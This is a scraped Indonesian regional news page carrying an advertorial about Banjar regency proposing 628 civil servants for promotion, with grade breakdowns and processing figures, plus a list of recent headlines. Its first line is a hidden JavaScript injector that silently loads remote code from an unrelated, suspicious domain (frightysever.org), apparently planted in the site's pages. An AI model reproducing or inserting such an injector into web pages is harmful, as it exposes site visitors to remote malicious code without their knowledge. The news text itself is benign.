(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Pemkab Banjar Usulkan 628 ASN Naik Pangkat


MARTAPURA, Sebagai bentuk penghargaan yang diberikan atas prestasi kerja dan pengabdian Aparatur Sipil Negara (ASN) dalam melakukan tugas dan tanggung jawab, Badan Kepegawaian Daerah dan Pengembangan Sumber Daya Manusia (BKDPSDM) Kabupaten Banjar serahkan SK secara simbolis kepada 3 ASN Kabupaten Banjar untuk periode 1 April 2017. Acara ini digelar seusai apel kerja gabungan di halaman Pemkab Banjar, Senin (12/3).

Sekretaris Daerah Banjar Ir H Nasrunsyah mengatakan, pada kenaikan pangkat periode 1 April 2018 tersebut diusulkan kenaikan pangkat sebanyak 628 orang ASN. Terdiri dari golongan IV/c ke atas sebanyak 6 orang SK yang langsung ditandatangani Presiden dan menjadi kewenangan Badan Kepegawaian Negara (BKN). Sedangkan golongan IV/a sebanyak 80 orang SK ditandatangani Gubemur dan menjadi kewenangan BKN Regional VIII dan Badan Kepegawaian Daerah (BKD) Provinsi Kalsel dan Gol III/d ke bawah sebanyak 542 orang SK ditandatangani oleh Bupati Banjar dan menjadi kewenangan BKN Regional VIII dan BKDPSDM Kabupaten Banjar.

“Dari usulan sebanyak 628 yang diserahkan SK-nya, sisanya masih diproses dan akan menyusul, hari ini kita berikan semangat kepada yang lain yang SK-nya masih diproses,” kata Sekda Banjar.

Kepala Bidang Mutasi, Promosi dan Informasi Dwi Wahyudi mengatakan, sampai dengan saat ini telah terbit persetujuan teknis dari BKN sebanyak 484 orang, dan siap cetak SK. Sementara lainnya, Tidak Memenuhi Syarat (TMS) sebanyak 8 orang karena dari ASN perawat belum mengikuti uji kompetensi. Berkas Tidak Lengkap (BTL) sebanyak 136 orang yang masih dalam proses melangkapi berkas dimana sebagai besar adalah ASN guru.

Foto : rendy

“Dalam proses usul kenaikan pangkat maka BKDPSDM akan melakukan verifikasi secara ketat terhadap barkas yang masuk dan melakukan pendampingan proses usul kenaikan pangkat serta melibatkan secara langsung SKPD teknis,” jelasnya.

Kenaikan pangkat ASN ditentukan dari hasil penilaian kinerja di bawah kewenangan pejabat yang berwenang pada instansi pemerintah masing-masing yang didelegasikan secara berjenjang kepada atasan langsung dari ASN. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.